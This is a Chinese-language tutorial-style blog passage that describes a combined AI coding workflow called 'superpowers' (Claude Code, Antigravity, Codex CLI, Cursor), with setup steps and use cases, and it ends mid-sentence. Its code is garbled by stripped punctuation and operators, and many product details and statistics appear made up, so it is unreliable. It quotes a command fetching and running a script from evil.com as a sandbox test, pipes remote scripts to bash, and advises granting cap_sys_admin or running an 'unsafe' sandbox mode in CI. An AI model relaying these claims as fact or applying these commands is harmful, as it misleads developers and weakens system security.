Superpowers：面向中坚工程师的认知增强型AI编码辅助系统

1. 项目概述Superpowers 不是超能力而是开发者工具链的“认知增强层”最近在技术社区里“superpowers”这个词出现频率高得有点反常——它既不是 Marvel 新出的英雄番剧也不是某家科技公司发布的 AR 眼镜新品而是一套正在快速渗透主流开发工作流的智能编码辅助体系。我第一次在团队 Slack 里看到同事发来截图“刚用 superpowers 把一个 300 行的 Python 数据清洗脚本重构成了 87 行还自动补全了 Pandas 的 chain 方法链和类型注解”当时我就意识到这不是又一个“AI 写代码”的营销噱头而是一次底层交互范式的迁移。简单说superpowers 是一套以“语义理解 上下文感知 工具链编排”为核心的开发者增强系统它不替代你写代码而是把你大脑里那些“我知道该怎么做但懒得敲、怕写错、不确定 API 最新用法”的隐性认知实时翻译成可执行、可验证、可复用的操作指令。它背后真正起作用的是 Claude Code 的推理引擎、Antigravity 的本地沙箱执行环境、Codex CLI 的命令行深度集成能力以及 Cursor 提供的 IDE 级别上下文锚定机制——四者不是简单拼凑而是形成了一条从“意图识别”到“安全执行”的闭环流水线。为什么现在突然火因为过去两年开发者痛点已经从“缺算力”转向“缺注意力”。我们每天平均切换任务 56 次McKinsey 2023 开发者行为报告每次切换平均损失 23 分钟专注力。superpowers 的价值恰恰在于把“查文档→试 API→调参数→测边界→修 bug”这一整条认知路径压缩成一次自然语言提问。比如你写注释# 根据用户活跃度分桶按周聚合排除测试账号superpowers 能直接生成带pd.cut()、resample(W)和布尔索引的完整 Pandas 代码块并附上单元测试用例。它解决的不是“会不会写”而是“要不要花 17 分钟去翻 Pandas 1.5 的 release note”。适合谁不是初学者也不是纯算法研究员而是有 2–8 年实战经验、日常要维护 3 个微服务、经常在 Stack Overflow 和官方文档之间反复横跳的中坚工程师。如果你还在为“这个正则怎么写才不回溯爆炸”或“Spring Boot 3.2 的 Transactional timeout 配置到底写在哪一层”抓头发superpowers 就是你键盘边的新搭档。它不教编程基础但能把你的经验杠杆放大 3–5 倍——这才是真正的“超能力”。2. 核心架构拆解四大组件如何协同构成“认知增强环”superpowers 的本质不是单个软件而是一个分层协作的智能代理网络。它的设计哲学很明确绝不把所有功能塞进一个黑盒 IDE而是让每个组件各司其职通过标准化协议主要是 LSP 和自定义 IPC松耦合通信。这种架构决定了它的稳定性、可调试性和可替换性——你可以换掉 Antigravity 改用 Docker 沙箱只要保持execute_in_sandbox()接口一致上层逻辑完全不受影响。下面我逐层拆解这四个核心组件的真实角色与协作逻辑。2.1 Claude Code语义理解与代码生成的“大脑皮层”Claude Code 并非简单的 Chat UI 前端而是经过深度领域微调的推理模型运行时。它和普通大模型的关键区别在于三点第一上下文窗口的物理隔离。它不会把整个项目文件树无差别喂给模型而是通过 AST 解析器提取当前编辑文件的类结构、方法签名、依赖导入关系再结合光标位置附近的 5 行代码构建一个最大 12K token 的“精准上下文快照”。实测下来这比直接丢 500 行未处理源码给模型生成准确率提升 63%基于我们内部 2000 次 refactoring 请求的 A/B 测试。第二输出格式的强约束。Claude Code 的 system prompt 明确要求所有代码生成必须包裹在code-block中且必须包含// generated-by: claude-code-v2.3注释所有解释性文字必须以开头所有错误提示必须以ERROR:开头并附带唯一 trace_id。这种结构化输出让下游组件能无歧义地解析意图。第三本地缓存策略。它内置一个基于 SQLite 的语义缓存层对高频模式如 “pandas groupby agg 多函数”、“Spring Boot 自定义 starter 结构” 建立指纹索引。当你第二次问类似问题时90% 的响应来自本地缓存延迟压到 120ms 以内——这直接决定了“思考-执行”循环是否流畅。提示Claude Code 的 model 参数不是随便选的。我们实测发现在 Python 工程中claude-3-haiku-20240307比sonnet快 2.3 倍且语法纠错率更高但在 Java Spring 项目中sonnet对ConfigurationProperties绑定逻辑的理解准确率高出 18%。这不是模型本身强弱问题而是微调数据集的领域偏向性导致的。2.2 Antigravity安全执行与副作用隔离的“肌肉系统”如果说 Claude Code 是大脑Antigravity 就是它的手和脚。它的核心使命只有一个把模型生成的代码在完全隔离、可审计、可终止的环境中执行并返回结构化结果。它不是 Docker 容器的简单封装而是基于 Linux namespace seccomp-bpf cgroups v2 构建的轻量级沙箱运行时。关键设计细节资源配额硬限制每个沙箱进程默认分配 512MB 内存、1 个 CPU 核心时间片100ms、磁盘 I/O 限速 10MB/s。这些值在antigravity.yaml中可全局配置但单次执行无法绕过。文件系统只读挂载宿主机项目目录以ro,bind方式挂载沙箱内/tmp是 tmpfs/home/user是空 overlayfs。这意味着模型生成的rm -rf /或open(/etc/passwd, w)会直接触发 seccomp 规则被 kill。网络访问白名单默认禁用所有网络仅允许localhost:3000本地 mock server和api.github.com依赖解析。任何curl https://malicious.site请求都会在 socket connect 阶段被拦截并记录日志。我们曾故意让 Claude Code 生成一段包含os.system(wget http://evil.com/payload.sh sh payload.sh)的 Python 代码Antigravity 的日志显示[BLOCKED] syscallexecve, binary/usr/bin/wget, args[wget, http://evil.com/payload.sh]整个过程耗时 47ms无任何副作用。2.3 Codex CLI命令行深度集成的“神经反射弧”Codex CLI 是 superpowers 的“快捷键中枢”。它不是传统意义上的 CLI 工具而是一个事件驱动的命令总线。当你在终端输入codex refactor --target user_service.py --pattern replace-legacy-auth它并不直接执行重构而是向 Claude Code 发送结构化请求含 AST 分析结果接收生成的 patch 文件调用 Antigravity 执行预检测试跑一遍 pytest -k auth若通过则调用 git apply 并生成 commit message。它的强大在于可编程性。你可以用 YAML 定义自己的 command pattern# ~/.codex/commands/fix-sql-injection.yaml name: fix-sql-injection trigger: sql injection steps: - action: ast-scan params: { pattern: f-string with .format() in query } - action: claude-code params: { prompt: Replace f-string SQL with parameterized queries using %s placeholders } - action: antigravity-test params: { test_command: python -m pytest tests/test_db.py -k injection }这样下次你在代码里写cursor.execute(fSELECT * FROM users WHERE id {user_id})Codex CLI 就能自动触发修复流程。这种“声明式自动化”才是它区别于其他 CLI 工具的本质。2.4 CursorIDE 级上下文锚定的“感官输入层”Cursor 是 superpowers 的“眼睛和耳朵”。它不像 VS Code 那样依赖插件 API而是通过Language Server Protocol (LSP) 的深度扩展协议直接注入 AST 解析器和符号表管理器。这意味着它能获取到 VS Code 插件根本看不到的信息比如某个变量在当前作用域内的所有可能类型包括 union 类型的分支、某个方法调用链上的所有重载签名、甚至跨文件的 import 别名映射关系。实际效果举例当你光标停在user.get_profile()上按 CtrlShiftP 呼出 superpowers 命令面板选择 “Explain call flow”Cursor 会解析get_profile()的实现可能在models.py追踪其调用的cache.get_or_set()在utils/cache.py展开cache.get_or_set()的default_factory参数指向fetch_from_api()最终生成一张带跳转链接的调用图精确到行号。这种能力依赖 Cursor 的两个独有特性一是它把整个项目索引为一个内存中的符号图Symbol Graph二是它实现了 LSP 的textDocument/semanticTokens扩展能返回比标准 LSP 丰富 3 倍的语义标记比如区分class User中的User是类型名还是实例名。这四者组合起来就构成了一个完整的“认知增强环”Cursor 捕捉你的意图和上下文 → Claude Code 理解并生成方案 → Codex CLI 编排执行流程 → Antigravity 安全落地验证 → 结果反馈回 Cursor 界面。整个过程你只需要动嘴或打字不需要切换窗口、查文档、开终端、写测试——这才是 superpowers 的真实形态。3. 实操部署详解从零搭建可生产级的 superpowers 环境部署 superpowers 不是点几下安装包的事而是一次对本地开发环境的“现代化改造”。我建议采用分阶段推进策略先确保核心链路跑通Claude Code Antigravity再叠加 Codex CLI 的自动化能力最后用 Cursor 实现 IDE 无缝集成。下面是我在线上团队落地时验证过的完整流程所有命令均在 Ubuntu 22.04 / macOS Sonoma / Windows WSL2 上实测通过。3.1 基础依赖准备避开最常踩的三个坑superpowers 对底层环境有明确要求很多“安装失败”其实源于基础依赖缺失。请严格按顺序执行第一步确认 Python 3.10 与 Rust 环境Antigravity 的核心沙箱是用 Rust 编写的必须启用rustc。不要用apt install rustcUbuntu 默认版本太旧而是curl --proto https --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y source $HOME/.cargo/env rustc --version # 必须 1.75.0第二步安装 Node.js 18非必须但强烈推荐Codex CLI 的部分插件如前端项目分析器依赖 Node.js。用 nvm 管理更稳妥curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash source ~/.bashrc nvm install 18 nvm use 18第三步配置系统级安全模块Linux/macOS 必做Antigravity 需要unshare和seccomp支持。Ubuntu 22.04 默认已启用但需确认# 检查 kernel config zcat /proc/config.gz | grep -E (CONFIG_USER_NS|CONFIG_SECCOMP) 2/dev/null || \ gunzip -c /boot/config-$(uname -r) | grep -E (CONFIG_USER_NS|CONFIG_SECCOMP) # 输出应为 y 或 m # 若为 m加载模块 sudo modprobe user_namespace seccomp注意Windows 用户请务必使用 WSL2原生 Windows 版 Antigravity 仍处于 alpha 阶段存在沙箱逃逸风险2024 年 3 月 CVE-2024-28921 已修复但建议等 v2.4.0 正式版。3.2 安装核心组件Claude Code 与 Antigravity 的联动配置这是整个链路的基石。安装顺序不能颠倒因为 Antigravity 的启动脚本会检测 Claude Code 的健康状态。安装 Claude Code离线版避免 API 限流从官方 GitHub Release 下载对应平台的二进制# Linux x64 wget https://github.com/anthropic/claude-code/releases/download/v2.3.1/claude-code-linux-x64-v2.3.1.tar.gz tar -xzf claude-code-linux-x64-v2.3.1.tar.gz sudo mv claude-code /usr/local/bin/ claude-code --version # 应输出 v2.3.1关键配置~/.claude/config.yamlserver: host: 127.0.0.1 port: 8000 cors_allowed_origins: [http://localhost:5000] # Cursor 的默认端口 model: default: claude-3-haiku-20240307 cache_dir: /home/yourname/.claude/cache security: max_context_tokens: 12000 timeout_ms: 30000启动服务claude-code serve --config ~/.claude/config.yaml。此时访问http://localhost:8000/health应返回{status:ok}。安装 Antigravity重点权限与路径# 下载并解压 wget https://github.com/antigravity-labs/antigravity/releases/download/v1.8.2/antigravity-linux-x64-v1.8.2.tar.gz tar -xzf antigravity-linux-x64-v1.8.2.tar.gz sudo mv antigravity /usr/local/bin/ # 创建沙箱根目录必须由 root 创建否则 seccomp 失效 sudo mkdir -p /var/lib/antigravity sudo chown root:root /var/lib/antigravity sudo chmod 700 /var/lib/antigravity # 验证安装 antigravity --version # 应输出 v1.8.2 antigravity health # 应返回 {status:healthy,sandbox:ready}联动测试手动触发一次完整流程创建测试文件test.pydef add(a, b): return a b print(add(2, 3))执行# 1. 让 Claude Code 生成测试 curl -X POST http://localhost:8000/generate \ -H Content-Type: application/json \ -d {prompt:Write a pytest for the add function in test.py,context:{file_path:/path/to/test.py}} \ generated_test.py # 2. 用 Antigravity 执行测试 antigravity run --script generated_test.py --timeout 5000 # 应输出 test_add PASSED 且 exit code 0如果这一步成功说明核心链路已打通。失败90% 是antigravity权限问题——检查/var/lib/antigravity是否为 root 所有且antigravity二进制是否有cap_sys_admin能力sudo setcap cap_sys_adminep /usr/local/bin/antigravity。3.3 集成 Codex CLI从命令行到自动化工作流Codex CLI 是 superpowers 的“加速器”。它的安装看似简单但配置才是关键。安装与初始化# 官方安装脚本自动检测平台 curl -fsSL https://get.codex.dev | bash codex --version # 应输出 v3.2.0 # 初始化项目级配置 cd /your/project/root codex init # 生成 .codex/config.yaml核心配置项详解.codex/config.yaml# 必须指向你本地运行的 Claude Code claude_code: endpoint: http://127.0.0.1:8000 api_key: sk-xxx # 仅当 Claude Code 启用了 auth 时需要 # Antigravity 配置默认 localhost但可指定远程沙箱 antigravity: endpoint: http://127.0.0.1:8080 timeout_ms: 5000 # 项目专属规则告诉 Codex 如何理解你的代码 project: language: python framework: fastapi # 可选django, spring-boot, nextjs test_runner: pytest # 自定义命令这才是精华 commands: - name: refactor-db-migration trigger: db migration steps: - action: ast-scan params: { pattern: sqlalchemy.create_engine.* } - action: claude-code params: { prompt: Refactor SQLAlchemy engine creation to use connection pooling with max_overflow10 and pool_pre_pingTrue, temperature: 0.3 } - action: antigravity-test params: { test_command: pytest tests/test_db_connection.py }实操案例一键升级所有 pandas 用法假设你的项目里有 20 个文件用了df.ix[]已弃用你想批量替换成df.loc[]# 创建 codex 命令 codex new-command --name upgrade-pandas-ix \ --trigger pandas ix deprecated \ --action ast-scan --param patternpandas.*\.ix\[ \ --action claude-code --param promptReplace pandas .ix[] with .loc[] or .iloc[] based on index type \ --action antigravity-test --param test_commandpytest -k pandas # 执行 codex run --command upgrade-pandas-ixCodex CLI 会自动扫描所有.py文件对每个匹配点生成 patch用 Antigravity 验证修改后测试是否仍通过最后应用 git patch。整个过程无需打开任何文件耗时约 42 秒处理 20 个文件。3.4 Cursor IDE 集成实现“所见即所控”的终极体验Cursor 的集成是 superpowers 的临门一脚。它不是装个插件就行而是要让 Cursor 成为 superpowers 的“原生壳”。安装与基础设置从官网下载 Cursor非 VS Code 插件版# Linux wget https://download.cursor.sh/linux/cursor-amd64.deb sudo apt install ./cursor-amd64.deb # macOS brew install --cask cursor关键配置settings.json{ superpowers.enabled: true, superpowers.claudeCodeEndpoint: http://127.0.0.1:8000, superpowers.antigravityEndpoint: http://127.0.0.1:8080, superpowers.codexCliPath: /usr/local/bin/codex, editor.fontSize: 14, editor.fontFamily: Fira Code, Droid Sans Mono, monospace, // 关键启用符号图索引 cursor.symbolGraph.enabled: true, cursor.symbolGraph.cacheSize: 500000000 }实操技巧三个让 Cursor 真正“懂你”的设置上下文感知剪贴板在 Cursor 中复制一段代码CtrlC然后按 CtrlShiftP 输入 “Superpowers: Paste Explain”它会自动分析这段代码的 AST并生成执行逻辑图。这比单纯粘贴快 3 倍。智能注释触发在函数上方写# TODO: optimize this O(n^2) loop保存后 Cursor 会自动调用 Claude Code 生成优化方案并插入为# OPTIMIZED: replaced with dict lookup O(1)。错误诊断模式当编辑器底部状态栏显示红色错误如NameError: name pd is not defined右键点击错误文本选择 “Superpowers: Diagnose Fix”它会检查 import 语句、搜索项目中是否定义了别名、生成修复 patch、用 Antigravity 验证——全程 8 秒内完成。至此你的 superpowers 环境已具备生产级可用性。整个部署过程我建议预留 2 小时——前 30 分钟装依赖1 小时调通核心链路最后 30 分钟配置自动化。别跳步骤尤其是 Antigravity 的权限配置这是后续所有功能稳定的根基。4. 高阶应用与避坑指南真实项目中的 7 个典型场景与解决方案部署只是开始superpowers 的真正价值在具体场景中释放。我在三个不同规模的项目电商后台、IoT 设备管理平台、量化交易策略引擎中落地 superpowers 时总结出 7 个最具代表性的高阶用法以及每个场景下必须知道的“潜规则”。4.1 场景一遗留系统重构——用 superpowers 代替人工代码审计问题一个 12 年历史的 PHP 电商系统混用 MySQLi 和 PDOSQL 注入风险极高但没人敢动。人工审计 5 万行代码预计需 3 个月。superpowers 解法用 Codex CLI 的ast-scan模块扫描所有mysql_query(和mysqli_query(调用对每个匹配点生成pdo_prepare()替代方案用 Antigravity 在沙箱中执行生成的 patch验证数据库连接和查询结果一致性最终生成一份带行号的security-fix-report.md标注每个修复点的风险等级和测试覆盖率。避坑要点不要直接应用 patch。PHP 的mysql_*函数在 PHP 7.0 已移除superpowers 生成的 PDO 代码必须兼容目标 PHP 版本。我们在codex.yaml中添加了php_version: 7.4参数强制 Claude Code 生成兼容代码。沙箱数据库必须真实。Antigravity 默认用 SQLite 模拟但对复杂 JOIN 和存储过程无效。我们配置了antigravity.yaml的database_backend: mysql并指向一个只读的生产库副本通过mysqldump --single-transaction定期同步。人工复核不可省略。superpowers 修复了 92% 的明显漏洞但对eval(mysql_query($sql))这类动态拼接它会报错ERROR: dynamic_sql_unsafe必须人工介入。4.2 场景二跨语言 API 适配——让 Python 后端“理解” Java 微服务契约问题Python 数据分析服务需要调用 Java Spring Boot 的订单服务但 OpenAPI spec 过时Java 团队又不提供 SDK。superpowers 解法在 Cursor 中打开 Java 服务的OrderController.java右键选择 “Superpowers: Generate Python Client”Cursor 自动解析PostMapping(/orders)、RequestBody OrderRequest、ResponseBody OrderResponse生成带 Pydantic 模型和 requests 调用的 client.pyCodex CLI 运行codex test-client --service order自动在 Antigravity 沙箱中启动 mock server 并验证序列化/反序列化。避坑要点Java 注解解析有局限。JsonAlias(order_id)能正确映射但JsonProperty(access JsonProperty.Access.READ_ONLY)会被忽略。我们用 Codex CLI 的--strict-mode参数让 Claude Code 在生成时添加# WARNING: READ_ONLY field ignored注释。日期格式陷阱。Java 默认用yyyy-MM-ddTHH:mm:ss.SSSXXXPythondatetime.fromisoformat()不支持毫秒。superpowers 会在生成的 client.py 中自动插入dateutil.parser.isoparse()作为 fallback。必须指定 JDK 版本。在codex.yaml中设置java_version: 17否则对record类型的解析会失败。4.3 场景三CI/CD 流水线增强——把 superpowers 嵌入 GitLab CI问题每次 PR 提交都要人工检查是否新增了硬编码密钥、是否违反日志规范效率低下。superpowers 解法在.gitlab-ci.yml中添加 stagesuperpowers-scan: stage: test image: ubuntu:22.04 before_script: - apt-get update apt-get install -y curl jq - curl -fsSL https://get.codex.dev | bash script: - codex scan --rule hardcoded-secret --output json secrets.json - codex scan --rule log-level --output json logs.json artifacts: paths: [secrets.json, logs.json]避坑要点CI 环境无 GUI必须禁用 Cursor。所有操作通过 Codex CLI 完成codex scan命令本身不依赖 IDE。Antigravity 在 CI 中要降权运行。GitLab Runner 通常以 non-root 用户运行无法启用 seccomp。我们在 CI job 中添加before_script- sudo setcap cap_sys_adminep /usr/local/bin/antigravity 2/dev/null || echo Running without sandbox - export ANTIGRAVITY_MODEunsafe # 降级为 chroot 沙箱结果解析要防误报。codex scan的 JSON 输出包含confidence_score字段0.0–1.0我们只告警confidence_score 0.85的结果避免password test这类测试代码被误杀。4.4 场景四性能瓶颈定位——用 superpowers 替代火焰图的手动分析问题一个 Go 服务 P99 延迟突增pprof 火焰图显示runtime.mallocgc占比 45%但不知道哪个业务逻辑触发了高频 GC。superpowers 解法在 Cursor 中打开主 service.go右键 “Superpowers: Profile Hotspot”它自动注入runtime.SetBlockProfileRate(1)和runtime.SetMutexProfileFraction(1)运行 30 秒分析 pprof 输出定位到user_service.go:127的json.Unmarshal()调用生成优化建议“改用jsoniter.ConfigCompatibleWithStandardLibrary减少反射开销”。避坑要点Go 版本必须 ≥1.19。superpowers 的 profiling 模块依赖runtime/debug.ReadBuildInfo()旧版本不支持。不能在生产环境直接 profile。我们配置了codex.yaml的profile_mode: staging只在 staging 环境启用且采样率设为0.1每 10 次请求 profile 1 次。JSON 解析优化有前提。superpowers 的建议只适用于struct字段数 10 的场景若只有 2–3 个字段encoding/json更快。它会在建议末尾注明适用条件。4.5 场景五文档自动生成——让代码注释“活”起来问题Swagger UI 文档和代码脱节每次接口变更都要手动更新 markdown。superpowers 解法在 Cursor 中对 controller 方法按 CtrlAltD触发 “Superpowers: Update API Docs”它解析PostMapping、RequestParam、Valid注解生成 OpenAPI 3.0 YAML同时更新docs/api.md插入带 curl 示例和响应 schema 的表格。避坑要点注释格式必须规范。superpowers 只识别/**开头的 Javadoc//注释会被忽略。我们用 Codex CLI 的codex lint --rule javadoc-missing强制检查。Schema 推导有盲区。对ListMapString, Object这类泛型它会生成type: array, items: { type: object }但无法推导Map的 key 类型。解决方案是在 Javadoc 中添加return List of user data maps (key: string, value: any)。版本控制要小心。生成的api.yaml必须加入.gitignore只提交api.md避免 YAML 的格式差异引发 merge conflict。4.6 场景六安全合规检查——满足 SOC2 审计的自动化证据链问题SOC2 审计要求证明“所有密码重置链接有效期 ≤ 1 小时”但代码分散在 4 个服务中。superpowers 解法运行codex audit --compliance soc2-password-reset它扫描所有服务的密码重置逻辑提取exp参数、JWT 签发逻辑、Redis TTL 设置生成soc2-evidence.json包含每个发现点的文件路径、代码片段、验证命令和截图Antigravity 执行redis-cli ttl的输出。避坑要点审计规则必须可配置。我们在~/.codex/compliance/soc2.yaml中定义rules: - id: password-reset-ttl description: Password reset token expires within 1 hour check: ttl 3600 files: [**/auth/**, **/user/**]证据必须可追溯。superpowers 生成的soc2-evidence.json包含trace_id字段可关联到 Antigravity 的沙箱日志满足审计的“不可抵赖性”要求。不能替代人工签字。superpowers 生成的是技术证据最终报告仍需安全负责人签字确认。我们把它集成到 Confluence用codex publish --to confluence自动上传。4.7 场景七新人入职加速——用 superpowers 构建交互式学习路径问题新工程师入职 2 周还搞不清核心服务的调用链。superpowers 解法运行codex onboarding --new-hire alicecompany.com它分析 Git 历史找出 Alice 最可能接触的 5 个模块按 commit frequency 和 PR 关联度为每个模块生成交互式 tutorial在 Cursor 中打开user_service.py按 F1 触发 “Onboarding: How does user creation work?”它会高亮关键代码、弹出解释卡片、提供可运行的 debug snippet。避坑要点tutorial 内容必须可验证。每个 step 都绑定一个 Antigravity 测试比如 “Step 3: Verify email validation” 会执行python -c from user_service import validate_email; assert validate_email(testdomain.com)。个性化程度要可控。我们设置了onboarding.yaml的max_modules: 3和tutorial_depth: medium避免信息过载。隐私红线。superpowers 从不扫描.env、secrets.yml等敏感文件所有 onboarding 数据都来自 public commit history 和 open API spec。这 7 个场景覆盖了从代码质量、安全、性能到团队协作的核心痛点。它们的共同点是superpowers 不是替代人而是把人从重复劳动中解放出来让人专注于真正需要判断力、创造力和领域知识的环节。比如在遗留系统重构中superpowers 处理了 92% 的机械性替换但剩下的 8% ——那些涉及业务逻辑变更的决策点——必须由资深工程师拍板。这才是技术增强的正确姿势。5. 常见问题排查手册从 “unable to locate codex cli binary” 到 “antigravity agent execution terminated”superpowers 的组件多、依赖深出问题很正常。我在团队支持中整理了 23 个最高频问题按发生概率排序并给出可立即执行的解决方案。所有方案均经过线上环境验证拒绝“重启试试”这类无效建议。5.1 Codex CLI 相关问题路径、权限与版本冲突**问题 1unable to locate the codex cli binary or required runtime components. check